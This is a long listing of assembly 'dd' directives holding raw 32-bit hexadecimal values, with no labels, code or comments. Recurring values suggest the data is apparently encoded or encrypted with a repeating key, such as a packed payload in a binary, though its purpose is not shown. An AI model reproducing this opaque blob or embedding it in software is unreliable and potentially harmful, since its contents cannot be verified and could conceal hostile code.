dd 42031609h, 48ADCA31h, 8FDDCDCAh, 66113218h, 0B8D9AD8Fh
dd 4CBB38E6h, 0D635DDE2h, 0C694F502h, 648E2B60h, 69443215h
dd 66223398h, 0EF46CA15h, 0ED73BBE2h, 0A2C71629h, 69CA5211h
dd 4113215h, 0D2C4AF9Bh, 0D9CF02E8h, 9B29C758h, 57ABDED8h
dd 3EDF8140h, 7FAFF95h, 692C841Ah, 66112399h, 6D0F3D15h
dd 8F443215h, 66223213h, 98007427h, 9F087A2Ah, 1FC73D95h
dd 69223215h, 6611259Dh, 77043D15h, 8F443215h, 66223219h
dd 0F6916762h, 5363F6DEh, 0D9D8AD3Ah, 0E668C43h, 953802C2h
dd 0E743334Bh, 0B12C76D6h, 0E02D5225h, 66113217h, 69DA6D45h
dd 71DC0A2h, 66238B44h, 0AD103215h, 0E8CA4Ch, 0E7EC494h
dd 0DB8075h, 6DABD494h, 0A0615374h, 6443215h, 66223DFDh
dd 0DC518215h, 0F54A563Fh, 5B0141B0h, 0A220E8F9h, 3DE3B973h
dd 7A5FA95h, 98688546h, 0A6F5C4D2h, 89D130F2h, 3447CC13h
dd 0A8BA7FA3h, 666FDC95h, 9F3968E2h, 6861C74Eh, 5B443215h
dd 0C24B98CDh, 0B1F46507h, 55C3DE49h, 0E795C5AFh, 662233D4h
dd 0DE41C715h, 3092938h, 3AE68847h, 8CA341D6h, 127751D0h
dd 1159F894h, 8C851689h, 80E0B313h, 0E7548E66h, 5C7405E7h
dd 3C940339h, 67AF334h, 9DA63D75h, 74EB973h, 664439FDh
dd 800815h, 5181CE48h, 1973668Ah, 0E7256DECh, 142930D6h
dd 2D2B35Ch, 4FBF6B51h, 2AFB3DEh, 0E7156B51h, 141A30FEh
dd 668FDB5Ch, 4ECC3215h, 0FD53341Eh, 0D794B994h, 9F8E2019h
dd 7895A79Eh, 0E82D3407h, 66113214h, 5735B1ECh, 67422035h
dd 6236B61Ah, 0EE1E3215h, 66883219h, 6642B81Ah, 0EE2D3215h
dd 66113215h, 0E487F12Ch, 664431EFh, 662FDBEDh, 0B8633215h
dd 9D3AEC3Bh, 59C5E38h, 5FA48EB1h, 0F0933DC6h, 9E77CDEFh
dd 6647EBFCh, 662ADB15h, 0B64B3215h, 43ED46B9h, 0E383F836h
dd 603B47B5h, 66113217h, 70375475h, 3025CA7Dh, 0B5060694h
dd 3D1A4A40h, 335B8F40h, 8D75396Dh, 0D02DCA48h, 0DD77521Bh
dd 774D386h, 664EBB1Ah, 63CB3215h, 0D9113215h, 786EB55Dh
dd 69C4CB95h, 66227796h, 0DC43C715h, 37561F38h, 671EE13Ch
dd 4BE1B3DEh, 6940EC38h, 66883F99h, 664CDB15h, 52F33215h
dd 983E1C84h, 0D9DFDDD8h, 99BBCDEAh, 697DC93Ch, 6611399Ch
dd 668EDB15h, 83103215h, 2BE014E3h, 6611B8FCh, 0D6D8CE15h
dd 0E4ADB2EAh, 0A7A2F33Dh, 93ED6A97h, 0B67FA35Ch, 0ACFA5284h
dd 0D81DF9CEh, 73A64ED4h, 0D9DF6474h, 3FBE52B2h, 0E77DCC9Ch
dd 4F20F4FBh, 6566F34Fh, 1F4DFC94h, 0A0A30534h, 0C535D5Fh
dd 8B50C494h, 97659828h, 662FDB4Bh, 439B3215h, 0B19A16C7h
dd 0C33DE6A6h, 0E74B18E4h, 236A69D6h, 4463B35Dh, 4F0FAE6Eh
dd 44E1B3DEh, 0E75AAE6Eh, 23F369FEh, 76C53D5Dh, 69223215h
dd 66113893h, 668DDB15h, 0BDBF3215h, 0ED6B7DAEh, 741D8390h
dd 6D093D13h, 8F443215h, 66223213h, 22BDB2F4h, 0F30397DDh
dd 60562CC4h, 6629B31Ah, 69713215h, 66883292h, 0B0F33D15h
dd 579FB174h, 67172035h, 64F4B61Ah, 8F243215h, 66223206h
dd 58D09062h, 2CEABCB4h, 46CF3175h, 85A589C6h, 3159742Eh
dd 6688B81Ah, 71F3215h, 0E42DEA2Eh, 66113208h, 66883DFCh
dd 0E49A115h, 68F025E4h, 2AEF7E4Ah, 4910625Ah, 0E04BE12Ch
dd 99DDCAF8h, 8AB60EDh, 0E7E9C75Bh, 930A5DFFh, 3CF43374h
dd 661139FCh, 8DF42D15h, 0DBEAFCB8h, 0A1A57D4Ch, 88A56246h
dd 0D6D0D59Dh, 3DBC02F4h, 6623B51Ah, 0CCED3215h, 9F035475h
dd 0E525E89Fh, 7AAB36F9h, 66118931h, 95893215h, 931F399Fh
dd 0B5926244h, 0D649F79Dh
dd 3F6032B8h, 0D61461E9h, 0EE6E0628h, 8D916AD6h, 0C47BB2D1h
dd 61FEB35h, 6620BB1Ah, 0D6A13215h, 668821FCh, 20F35815h
dd 1D906C99h, 0A86C766Ah, 0EF3CBA6Bh, 0FA5DC196h, 8FEA3A74h
dd 66113218h, 94D1A41Eh, 88077451h, 24F458A2h, 0E7E4985Ah
dd 75CA25FEh, 30BF1B10h, 756025ABh, 38E23310h, 66883EFCh
dd 0D5D7E215h, 0FEEA9325h, 8E08A522h, 62306239h, 0E7443215h
dd 526FCFD6h, 0E7D21B47h, 52C5CFFEh, 6EAD6A47h, 0FF223215h
dd 0F61D389Bh, 367FE9F2h, 0EF40DE96h, 3D7A1609h, 661120FCh
dd 398E7315h, 5F5034A1h, 0E38B10D9h, 87B009C1h, 0CD47AAE5h
dd 0ED99B875h, 33DB53EFh, 4F738A45h, 23543AEh, 4F35893Ch
dd 88236AD0h, 0D398CB48h, 609A1228h, 0E383CAE9h, 60301224h
dd 66113214h, 690A3D75h, 8F443215h, 6622321Fh, 363F0A9Ah
dd 0DA2063F4h, 9E2477BFh, 7E5851Ah, 85986174h, 668CF194h
dd 0A5C73215h, 423EB511h, 6935169Eh, 66882490h, 76C73D15h
dd 8F223215h, 6611321Eh, 24DEE9BDh, 582C96DAh, 69DF599Fh
dd 66113890h, 0D9EE5215h, 0DC225E21h, 99431178h, 0E54A1621h
dd 0ED7D36D1h, 0EF111619h, 62E7B3F0h, 0E5113215h, 4A0F36D0h
dd 0E14B6E31h, 66223212h, 9FA63D75h, 8FE96942h, 66443206h
dd 1F1A123Fh, 3D5FC314h, 79733CAh, 69C9D321h, 305DCAC6h
dd 0A0906C41h, 66883211h, 0E140F496h, 697E1621h, 66113399h
dd 0EFDACA15h, 62FD63F7h, 67223215h, 0A4926BDFh, 429CB511h
dd 69C53D49h, 8F223215h, 6611321Fh, 0F588C5C0h, 0E7B0D5F6h
dd 0ECCB8465h, 6EECDCCh, 669ADB75h, 0DA2B3215h, 0CCD933B6h
dd 520BC63Fh, 75A0D2D5h, 0D7607520h, 7EA851Ah, 53FFB373h
dd 0DBDD5311h, 66443214h, 9A7FDC3Ch, 0A6578344h, 870831F4h
dd 0C58DB298h, 0E671F395h, 0BFE7BFFCh, 8F08EBE3h, 3F8CBA95h
dd 67A33D75h, 9F113215h, 668CB41Ah, 0DC223215h, 643D4F1h
dd 661AB31Ah, 63603215h, 16443215h, 0A0FB923Ah, 0C8FFB34Ch
dd 7865B23h, 0E712C7BFh, 68941611h, 33493009h, 0B8EE82A8h
dd 6081B353h, 4F990FBDh, 34E86FFDh, 4DF00AAFh, 0E796C547h
dd 565F33DFh, 0A5FBB372h, 0E7E0B211h, 7D204AD7h, 0EAC8B325h
dd 672F39EFh, 9EA168C5h, 0E220C238h, 6636DB6Ch, 36773215h
dd 1649AEFCh, 0F8880763h, 0B9A9227Ch, 4DEBC9A4h, 1EE0ADF1h
dd 0EF443259h, 62991609h, 4F113215h, 69E869CDh, 66443098h
dd 9E435215h, 34E89974h, 0A4096841h, 66443211h, 0E126F096h
dd 8F4D1601h, 6688321Dh, 61D479h, 0F36348CBh, 6601BF1Ah
dd 6D613215h, 78443215h, 564A4498h, 882AB9D9h, 5277236Ah
dd 0A2C56931h, 66223211h, 6610B61Ah, 0ED713215h, 0EF171619h
dd 62E1B3F6h, 0E5113215h, 7A0F36D6h, 76AD6E31h, 29223215h
dd 14FFB69Ch, 8AFAF451h, 0E121DC14h, 9917A3E8h, 0E54F1621h
dd 0EB8736D1h, 66443211h, 7435275h, 0E7F3BB47h, 668836D7h
dd 6286B115h, 57062626h, 72221601h, 0E6E86E31h, 8F251CE2h
dd 99DDE8D6h, 0B19A6375h, 9C6AB34Bh, 77AB959h, 1382B7D2h
dd 6614340Ch, 0E5873215h, 66443213h, 91A95475h, 0EF4453E9h
dd 0ED63BBE0h, 0A2C51639h, 66223211h, 0D84763ECh, 66883211h
dd 671AC39Ch, 6426BDEh, 8FD1851Ah, 66883206h, 6E5C678Ah
dd 9CFD8DAh, 2697649h, 0A281D30Dh, 7BF9294h, 662222FDh
dd 98BC2915h, 9361F9B6h, 0C9CD4A9Ah, 7B2B0A45h, 661FDA09h
dd 58CE3215h, 0E33BF04Dh, 7690173Fh, 1E8BB16Fh, 69E96C4Dh
dd 66442791h, 69A53D15h, 8F113215h, 6688321Fh, 0C9A5B438h
dd 9CB19B6Dh, 0DF402F86h, 66883215h, 0DC16C314h, 66223215h
dd 7C12F814h, 0E4876B4Fh, 66443206h, 662EDB75h, 304A3215h
dd 0FACF2FD7h, 0E71CA1D2h, 0ED430CF9h, 741D8390h, 0F303CA13h
dd 60562CC4h, 0B7A95475h, 37706A43h, 9977CDACh, 3F8A33EAh
dd 663DBE1Ah, 0EF1E3215h, 6688320Ch, 664426FCh, 56C89A15h
dd 648C2ECBh, 0B082EA88h, 0BBA6D8B7h, 0C5A28CC4h, 87ACB170h
dd 678E2014h, 60BFB61Ah, 5DDB3215h, 43933DCDh, 6883215h
dd 6646B01Ah, 9FA93215h, 19D2B373h, 0BCB353B9h, 671EB41Ah
dd 0EC2D3215h, 6611321Dh, 668AB41Ah, 7243215h, 461F879Ch
dd 68F83407h, 0A3883215h, 46122B48h, 0C6E153A1h, 0EFDECFF8h
dd 0FB03CE11h, 605D47B5h, 662221FCh, 724EF15h, 92ABF67h
dd 0E585930Eh, 0D70188FEh, 89B75D62h, 2D6C8B44h, 2A451949h
dd 677B2231h, 0E71D1649h, 82841679h, 696F6E5Eh, 6622339Ah
dd 14F8CA15h, 69883213h, 66443994h, 6624DB15h, 66F73215h
dd 14D4CFFDh, 396006EAh, 626F696h, 0D18D1Ah, 7F91BAFh
dd 664422FCh, 84ABC715h, 0CEC566AFh, 77D4B87Ch, 0D78952A1h
dd 87A7F5ECh, 67172014h, 93883215h, 3D6006EAh, 6626F694h
dd 0E81E3215h, 6688321Dh, 6646B01Ah, 7423215h, 3F3506EAh
dd 668CF694h, 69243215h, 77CACAA2h, 35113215h, 8C96BFA3h
dd 0C546C143h, 0E741D1FAh, 0D6E637D0h, 1E198A73h, 52CF534Fh
dd 85AB6131h, 6615F194h, 0A50B3215h, 4258B511h, 61CA5249h
dd 38113215h, 3E18A52Dh, 0EB4BBEC1h, 66223215h, 6600DB4Dh
dd 14C13215h, 42D53830h, 34EAB95Eh, 0DAF3F14Eh, 79C35B1h
dd 0E71B6642h, 662236D2h, 62D6B115h, 3AAC0E92h, 0B33BDBE9h
dd 6942CDEAh, 76F8F1AAh, 0E1883215h, 0F2C502C6h, 45462379h
dd 742085AEh, 7A9A897h, 46758F96h, 69233407h, 66144691h
dd 6685DB15h, 76423215h, 0E83627Bh, 1DDF62A0h, 4D899E7Eh
dd 74488388h, 6627DB13h, 0B63E3215h, 0EDA783FEh, 74665798h
dd 0D2925213h, 39D0B374h, 67F7D65Dh, 39FB65CCh, 4F5DD65Dh
dd 36ED6DECh, 46DD20ADh, 6B823F71h, 0EF0F6454h, 2E5F8A58h
dd 0C0A5E2E2h, 67D9B7A8h, 9F0B6AD4h, 541CDB94h, 317D08C4h
dd 66418946h, 0B9AB3215h, 39E81B4Eh, 233B61EDh, 0A647D1D5h
dd 0A5DC35F6h, 3716D1D5h, 0ADA8EEA4h, 0F87B24Ch, 9F79EA9Dh
dd 661BB91Ah, 0E7E83215h, 1B8A97CBh, 7796456h, 0AE20C7BFh
dd 0AEB9F324h, 6643DB75h, 28DF3215h, 0F213B81Ah, 6699DA82h
dd 11FC3215h, 0A05CD609h, 37795F91h, 0A74118C4h, 8F66F10Eh
dd 66223218h, 1FB5BDDh, 5CDD6331h, 2664D0AAh, 0CD436C5Fh
dd 849860ECh, 668CF094h, 0A4C73215h, 12DD6011h, 0E94B3631h
dd 9ED41611h, 3D6006EAh, 6626F694h, 30713215h, 0DD6EB373h
dd 61AC6B4Ch, 6223215h, 0F90BD3FEh, 6F613AC4h, 87443215h
dd 0AD595CC8h, 57E46114h, 5277534Fh, 0A2C76B31h, 77A03D11h
dd 6113215h, 668837FDh, 5A9C8D15h, 7A481Eh, 7BEABAEh, 34AC069Eh
dd 0A4C5D09Ch, 66223211h, 6615F094h, 720F3215h, 8E246E31h
dd 6622321Ah, 22341EC5h, 4242C276h, 68CDBB9Fh, 66FE051h
dd 0EA1E6C74h, 66883211h, 7CA88973h, 83AB6774h, 6615F794h
dd 0A30B3215h, 42680111h, 55061E24h, 934D1639h, 995EB8FCh
dd 6648DBEAh, 504D3215h, 0A37399E7h, 0A310A4ADh, 0E44B2533h
dd 66223218h, 66113AFCh, 0DF147315h, 0C4F71720h, 0C6A7F5F0h
dd 64172B60h, 9F883215h, 4268B343h, 2DDF30A6h, 11AB604Eh
dd 0E7AA1405h, 0F87E88E7h, 7CC8B37Fh, 67ED893Dh, 0E868C6h
dd 835FE194h, 68943D74h, 661EB71Ah, 8EE83215h, 66443213h
dd 68560D0Fh, 9A4B4E5Ch, 0E671B274h, 6623B11Ah, 74CB3215h
dd 62113215h
dd 3903A2D5h, 7408E1F6h, 0F668C03Ah, 0AE5AC140h, 5A366487h
dd 4F3C2924h, 0AD236CE6h, 572DF194h, 6E614A0Eh, 0F5443215h
dd 1DD70F31h, 367AA15Dh, 9977CDADh, 3E871BEAh, 662223FCh
dd 0DE800415h, 13958A97h, 2C51A29Fh, 4B6A570Ch, 0ADF8A89Eh
dd 69883215h, 66443A9Ah, 64A53D15h, 6113215h, 0D3D96274h
dd 3FA8BA80h, 0AADCF6EBh, 0E612FE95h, 87A0AAF9h, 76C73D4Dh
dd 6223215h, 66113AFDh, 4EA26415h, 46238488h, 0E436C4Ah
dd 66113215h, 75AC1E94h, 4F77257Bh, 62A31619h, 717F2131h
dd 0E5876B26h, 66443214h, 8AA3CBE9h, 66113211h, 0DBAC1E9Ch
dd 645D4CAFh, 1A42F794h, 0A3903D4Fh, 371E13B9h, 4F5CC794h
dd 0BBD57AC7h, 5F01F794h, 930974DDh, 7CB431D8h, 8F7FDB34h
dd 66113204h, 0E51B92FCh, 0C111AEA8h, 0D19B4CF4h, 327E275Ah
dd 674BB35Eh, 4F5F0361h, 489860DEh, 0E757946Bh, 0ECD044FFh
dd 0D1AEB30Dh, 4F30D8A4h, 0E11E68C6h, 6688321Fh, 691C6575h
dd 6622329Ch, 0E39A5315h, 609A3EA4h, 6664B31Ah, 8F423215h
dd 6611321Eh, 154BC876h, 298D029Eh, 8FD21F62h, 6611321Ch
dd 152DA1D7h, 0BCA80F50h, 0EDDA5317h, 740FE380h, 0A6095213h
dd 606E4604h, 9CF3DB74h, 0E21ECDEAh, 66883203h, 664423FCh
dd 6D32DB15h, 0A828C41Bh, 76A52557h, 5A61E65Ah, 8F423953h
dd 6611321Ah, 6DFA0DBDh, 0C11D57B5h, 0CF7F27A0h, 734A89Bh
dd 1328B7D2h, 6646340Ch, 6DE3215h, 69B8F395h, 6688319Bh
dd 99A8B215h, 96AB6274h, 8F496945h, 66883210h, 0C00B40AEh
dd 68943D5Ah, 0D11ECE75h, 9F0853CBh, 5C73D95h, 69223215h
dd 66113A9Dh, 64003D15h, 6443215h, 15C9B374h, 0E7662C38h
dd 5E8AED6h, 0E78F3302h, 542AEFEh, 15D2B302h, 69FF2C38h
dd 66443E93h, 60A63D15h, 69113215h, 66883297h, 67FA6415h
dd 67223215h, 69716CE6h, 66883096h, 7AEB815h, 6622FEFCh
dd 0EA1E5215h, 66883216h, 0E795D395h, 0DC9924D5h, 5879534Dh
dd 0EF88327Fh, 99F31609h, 6979CB3Dh, 6611339Dh, 66E0CE15h
dd 0E7443215h, 637A1639h, 6A380BACh, 428CB331h, 5FFD374Dh
dd 74CB524Ch, 59113215h, 328314F4h, 0EE33F612h, 0F1FB71F2h
dd 0C00282Eh, 0A90354F5h, 6656DB74h, 3F993215h, 0C353B6B8h
dd 351C5CD9h, 0D452220Bh, 0A0A91B36h, 660BB27Dh, 429CBB15h
dd 1395DAFh, 3C8B37Dh, 2C731931h, 7818F894h, 0E7061C45h
dd 1A7CA9FFh, 3CC0133Bh, 0EA8752ECh, 66443213h, 6622BE1Ah
dd 69713215h, 66883294h, 66C43D15h, 7223215h, 0ECFAB374h
dd 0E7E2462Ah, 4B003DD6h, 0E7E91B3Fh, 4B553DFEh, 0EC4BB33Fh
dd 9A2E462Ah, 0D7A7B9E0h, 69172019h, 66883A97h, 64C73D15h
dd 6223215h, 0B784B974h, 68E200Bh, 664426FCh, 946A9615h
dd 0D31B53C8h, 56B7446Fh, 0C88C15C8h, 0F49F2342h, 9DAE3D50h
dd 5735B174h, 67422035h, 9096B61Ah, 8F71CDEAh, 66883205h
dd 73D13070h, 819CFCA8h, 0B84D3BFCh, 0DCB2B85h, 0BE7F53EDh
dd 6628B01Ah, 5FED3215h, 240E3DC6h, 9FBBCDF8h, 6645507Dh
dd 4225BB15h, 38AC3EEAh, 6ACF64EDh, 62E6B331h, 6113215h
dd 8E08DEA5h, 8FC55349h, 696A65BFh, 3234F394h, 9FA13E35h
dd 3261DB94h, 0A7A33E35h, 695965BFh, 0A959B275h, 6A4D8B73h
dd 63986074h, 4F113215h, 429CB9C4h, 8F40F696h, 66223201h
dd 8B9CADB3h, 0A3D946DDh, 3DC2D5C0h, 0F256EF82h, 0ABE1EE04h
dd 0B67E1BA5h, 90D18546h, 0E6E5CCCAh, 9E112AE2h, 9F2B064Eh
dd 6EAD52BFh, 0BC223215h, 4D8B1EDAh, 3431AB51h, 6644B41Ah
dd 77A3215h, 3A585A45h, 6A013215h, 61D6A31h, 0D92DF09Fh
dd 6BA53CEh, 8FA5E395h, 66443213h, 27E67BB3h, 8F70672Ah
dd 9977E3EEh, 6640B21Ah, 6423215h, 8A925374h, 4284BB11h
dd 664432ACh, 0ECD33315h, 8E716B14h, 66883218h, 0D89A702Ah
dd 0EA3091E2h, 0EF9A585Fh, 6687DBBDh, 7C03215h, 0A23FF366h
dd 2DB872C0h, 8285054Bh, 7BF56D1Ch, 69CA0E74h, 66117091h
dd 317DCE15h, 3A286D7Dh, 399A6D06h, 57026E79h, 8FE86DEDh
dd 66443204h, 0A54F1364h, 7E0ED059h, 0C57CCBC7h, 889010ACh
dd 63A03D97h, 113215h, 6070D994h, 67EBDB74h, 423215h, 69C309ACh
dd 31E9ECA2h, 0A1C5D59Ch, 66223211h, 6615DD94h, 5A0F3215h
dd 7ACD6E31h, 0EA2D5231h, 66113213h, 0F126DA94h, 6BFB1D04h
dd 7173FA6h, 6615DE94h, 4A013215h, 0EFB1BB31h, 69426FFEh
dd 6611209Ah, 6684DA15h, 0F1AB3215h, 0F197EBD4h, 0BDDE6D92h
dd 0ECD7690Ah, 0E5B853DAh, 62AB36F9h, 66108A31h, 96893215h
dd 691C2A16h, 66223394h, 0D847CE15h, 66883210h, 52CFC114h
dd 62E6B331h, 9E113215h, 35608744h, 9ECCDD9Dh, 6ECB6B4Eh
dd 35113215h, 0C33048BAh, 0CC1C129Fh, 6625BC1Ah, 713215h
dd 7E8F09Eh, 2FAFB374h, 4F4ABE78h, 0C7AE65EEh, 0E7973E0Eh
dd 4C373CF2h, 0DFC5B364h, 0A743C801h, 0B17F31F2h, 0D3ABB35Ah
dd 67350107h, 6EF86DEEh, 1D883215h, 9E77433Bh, 0E2DF6CAh
dd 66114C7Dh, 0DCAC269Ch, 66443211h, 6978E13Ch, 66112E94h
dd 74615215h, 6E443215h, 77C7737Fh, 5B370996h, 0C2C9295Ah
dd 0D312E6FFh, 0E4ECB26Bh, 0ED426274h, 0A20B1611h, 0E24B6911h
dd 66223212h, 6610B41Ah, 0CD743215h, 60C23D75h, 69223215h
dd 6611329Eh, 9C373D15h, 4270CD74h, 62E6B14Eh, 63A863EDh
dd 0E7883215h, 0BD0DF0D3h, 0E7EC3363h, 0BD58F0FBh, 76616B63h
dd 72443215h, 0D2D31529h, 0C4BD8415h, 7EA0CD0Dh, 31613370h
dd 78059FAAh, 79E6B353h, 0E7DA0A01h, 652D53FAh, 0B0E5B377h
dd 34120208h, 0A4F230AFh, 3C93031Eh, 0BFEF594h, 9E98737Ah
dd 669BDB4Ah, 3C623215h, 23AD4A20h, 0F4D53644h, 5A9AC1F3h
dd 0A2C43B90h, 0EF2DF19Bh, 6611321Dh, 668ABE1Ah, 7243215h
dd 66223AFCh, 2D37515h, 99C9B60Fh, 80CD648Eh, 6626F494h
dd 88903215h, 66883211h, 3A600692h, 93063E9Ch, 27CD73h
dd 47AC1E94h, 62CF5419h, 64E6B331h, 113215h, 8F841310h
dd 66443210h, 9AA3D09h, 69D20E94h, 66891291h, 61C23D15h
dd 6223215h, 0D40DDA95h, 0ADB45318h, 674FB61Ah, 61CB3215h
dd 0D1113215h, 87A59CABh, 0A478E611h, 676AB61Ah, 35713215h
dd 3E56B973h, 664EBE1Ah, 63CB3215h, 0FE113215h, 0F428D02Ah
dd 698E0E74h, 66231B91h, 5B77CA15h, 0E28717EAh, 6644334Dh
dd 0E92DCB75h, 66113217h, 0E95375h, 69BB1C28h, 66224190h
dd 661EDB15h, 3EFA3215h, 6A582D53h, 0A2526DF7h, 216E46EBh
dd 0D8DE633Bh, 2BAA38AEh, 2BA8DC94h, 0B0E65F8Ch, 0AB7EB353h
dd 0EF5B9957h, 97236CE4h, 8F48339Fh, 66883212h, 0C374687h
dd 0E5E4F80Fh, 7A9836F9h, 46788131h, 0EE4B69CDh, 6622321Dh
dd 98C4B275h, 756B973h, 0E24B9229h, 66223322h, 66113DFCh
dd 0D6E60215h, 4D598CD1h, 21540044h, 0D55B15FAh, 33AC3E9Eh
dd 0A3C5D79Ch, 66223211h, 6615F794h, 4A0F3215h, 0E5B86E31h
dd 52AB36F9h, 66118C31h, 96013215h, 664BDB4Bh, 0F63D3215h
dd 0D65AC985h, 90F76F2Eh, 0EC3F4D2Dh, 67A8DBB3h, 0E81E3215h
dd 66883214h, 8F8D03ECh, 6622321Ch, 7FB226B5h, 0AA97C4F9h
dd 67FA645Dh, 67223215h, 0EF1E6CE4h, 66883219h, 6642BC1Ah
dd 0E42D3215h, 66113215h, 6688FCFCh, 67C73D15h, 9A223215h
dd 6605BA1Ah
dd 8EE83215h, 6644321Ch, 490E601Eh, 0F2019EF9h, 0EDEE6A38h
dd 0D81253CAh, 78885094h, 2FFBD494h, 0E7C63403h, 64044EE3h
dd 0EDD3BB13h, 0A2921621h, 6A053D11h, 6443215h, 0EDA18D73h
dd 6611B11Ah, 8FE93215h, 6644326Eh, 7F985475h, 77052D2h
dd 0EF8CDE96h, 90FA1621h, 0DF22877Eh, 66A459E5h, 69D6C324h
dd 66443892h, 8FA35215h, 6303B39Eh, 6E9E59Fh, 83B975h
dd 773AAACh, 8F70C99Eh, 6688322Ah, 0D7B15275h, 0DD4453E1h
dd 8F708FBCh, 6688321Ah, 5110C94Eh, 0CA2E5426h, 54C19225h
dd 339670EAh, 0F915D2A8h, 64C7F341h, 2168DF94h, 3FDD6068h
dd 664DDB48h, 12393215h, 877F518Fh, 9595F912h, 77C43DB1h
dd 8F223215h, 66113219h, 0AC47DAF7h, 48F6316Ch, 0E2B49E1Fh
dd 0B79CB9EDh, 698E200Bh, 66443593h, 67A53D15h, 93113215h
dd 0E387FB90h, 6644320Ah, 6623B81Ah, 6E43215h, 8FC1F895h
dd 66443212h, 6859F157h, 70155F3h, 7859879Ch, 0EDB83407h
dd 0EF711619h, 62D2B3F6h, 0E5883215h, 7AC336D6h, 0ED2D6E31h
dd 6611321Eh, 668834FCh, 82EE6715h, 93A6A529h, 6611337Dh
dd 428CB915h, 9F40F696h, 9944C7D6h, 629A5423h, 644CB131h
dd 76AD52E9h, 0ED223215h, 17228ACDh, 8466C68Bh, 0F14DA02Ch
dd 0EDD61A7Eh, 0A52D53D3h, 6742B61Ah, 6BAD3215h, 3223215h
dd 5F3964C4h, 0D218B16Dh, 9A1A9C84h, 6628DB75h, 0A6A33215h
dd 0FC23B86Bh, 0A70D0F45h, 374382A1h, 8D99F79Dh, 0E7AC3E9Eh
dd 664436D1h, 6AA83D15h, 8F113215h, 66883212h, 91F10B8Ah
dd 9F0475h, 46E18645h, 620354F6h, 6480B331h, 6223215h
dd 88028A73h, 0B32DC094h, 0E6253EE8h, 0E22D42EEh, 6611361Dh
dd 8FB4CEECh, 6712B61Ah, 5ADA3215h, 2B953DFEh, 69883214h
dd 66443592h, 67A73D15h, 9F113215h, 0E287F029h, 6644332Dh
dd 0AD1ECAECh, 673FB61Ah, 0DDE83215h, 22720E9Bh, 662238FCh
dd 7E01B215h, 0ABF021A8h, 7FE592Ch, 43DD0F73h, 671FB61Ah
dd 697D3215h, 66443E98h, 0BDA35215h, 1834FD66h, 622A8873h
dd 698E0E74h, 6622C191h, 68993D15h, 8F883215h, 6644321Ch
dd 6ED99D6Fh, 73A35A6Dh, 696B0EE1h, 66474D91h, 6630DB15h
dd 6C9A3215h, 0C60E5812h, 78DC5B43h, 0C4D399Ah, 0E672A62Bh
dd 6684BC1Ah, 0E04B3215h, 66223213h, 6611B31Ah, 5BEE3215h
dd 0E34BCD3Bh, 66223275h, 64AA61ECh, 0E7883215h, 20368FEh
dd 0E7D13319h, 25668D6h, 3D8BB819h, 664438FCh, 0FCF0B915h
dd 0CAC38FC4h, 229EEBh, 0D0165444h, 0D3BAE5h, 0D9124Fh
dd 9508524Ch, 6650DA74h, 0AE583215h, 0A321059Eh, 0B558955Bh
dd 0F04D3Eh, 0D336001Ah, 0D11EB571h, 5AE969ECh, 23C03DB5h
dd 9A223215h, 6615DE94h, 52013215h, 295F8C31h, 839A7BF2h
dd 67A72AA5h, 6C616CE5h, 81443215h, 3C04CCF3h, 239E4A20h
dd 66FBDB44h, 243215h, 0F6CEDD94h, 66113CFCh, 865DD615h
dd 91B917E2h, 0B9B75E8Dh, 7F92C4Eh, 7859879Ch, 72AD3407h
dd 5B223215h, 0CFFDE80Bh, 0C271906Ah, 21CF0A77h, 3CF60CBFh
dd 0EBCE78BEh, 7E1C6F88h, 6657DB13h, 47753215h, 4A8510Eh
dd 2C817D6Eh, 8D5322D0h, 0CE8D63EBh, 6C2CDEFh, 751B875h
dd 66CE3D47h, 3D223215h, 66105A74h, 62033215h, 6280B131h
dd 31DAF1ECh, 0A190D59Ch, 66883211h, 6640DD94h, 5AA53215h
dd 62986E31h, 6687DB31h, 95EE3215h, 78A85103h, 0CCCF79Ch
dd 14EF1AD1h, 30245256h, 61CA534Eh, 92113215h, 2B3FC5F7h
dd 0ED225DE8h, 99436DE4h, 0DE412263h, 182A3E41h, 62607614h
dd 320F6A4Dh, 66F9019h, 0BAC7F894h, 63AD349Dh, 0D4223215h
dd 61288318h, 0BB0DBB74h, 9A42200Ch, 3E0606EAh, 6615F694h
dd 74613215h, 0DC443215h, 23DEC50h, 92446174h, 0B1F2CEAAh
dd 0D1534E5Eh, 66355A78h, 6A983215h, 66948B31h, 0A8453215h
dd 67A63D4Ch, 9F113215h, 66883BFCh, 0A400CC15h, 0B83FB126h
dd 0DB9CAA72h, 609A1E48h, 6642B81Ah, 6423215h, 74E6274h
dd 6686B81Ah, 6FAD3215h, 84223215h, 2930B1C2h, 66DFB54Ah
dd 0E14BCAB8h, 66223212h, 83C2B275h, 30E95375h, 83182AABh
dd 63C4F33Bh, 81D7B35Bh, 67D3108Fh, 22476CE5h, 800F1631h
dd 9E26FC08h, 669ADBBEh, 0DFE33215h, 647A4C0Bh, 0BB7D325Fh
dd 68EA589Eh, 0A656BDBAh, 4AAB8F98h, 0EA1E3407h, 66883214h
dd 76AD9FE0h, 0A2223215h, 57513F4Eh, 0DD048BB0h, 4B6ACDFBh
dd 4B410874h, 63C244Ah, 42AC7616h, 741D8D42h, 91A36E89h
dd 76A2090Eh, 7B7EF594h, 0B9B31C53h, 7A47F594h, 91902ED2h
dd 117009A8h, 418BF594h, 9E23B896h, 68933D4Ah, 8F883215h
dd 6644321Ch, 49E6CDB1h, 7F4464A1h, 800164CBh, 6640F494h
dd 88A33215h, 66113211h, 3AAC0692h, 6960369Ch, 66223597h
dd 679B3D15h, 9F883215h, 664DDBBEh, 25A3215h, 0A218D30Dh
dd 0EB739294h, 7449DFA8h, 68FC713h, 8ED98D1Ah, 66883210h
dd 0C6E492B5h, 662ADBB5h, 0A4F73215h, 63D8C098h, 71B7281h
dd 662220FCh, 5A8F9B15h, 9F74A604h, 0F581AD7Bh, 0F3C59843h
dd 376A488Dh, 10B977ACh, 3F8C1B5Eh, 4E067616h, 10207710h
dd 623CA5Eh, 6641B11Ah, 329A3215h, 6964CA66h, 66883499h
dd 66CA3D15h, 7223215h, 383506EAh, 68CF696h, 0E1B3B373h
dd 0A1C78DCFh, 0A5702D70h, 668821FCh, 0D26C1915h, 13EDAFCh
dd 643CBBA3h, 95408098h, 63958059h, 6647337Dh, 4225BB15h
dd 6680B51Ah, 0E24B3215h, 66223217h, 0EBE85375h, 7E1BBB88h
dd 0B5BBC713h, 6623B91Ah, 8FE43215h, 0FFFFCEFDh, 4ECEDFFCh
dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45CC699h, 2AA8ED96h
dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h
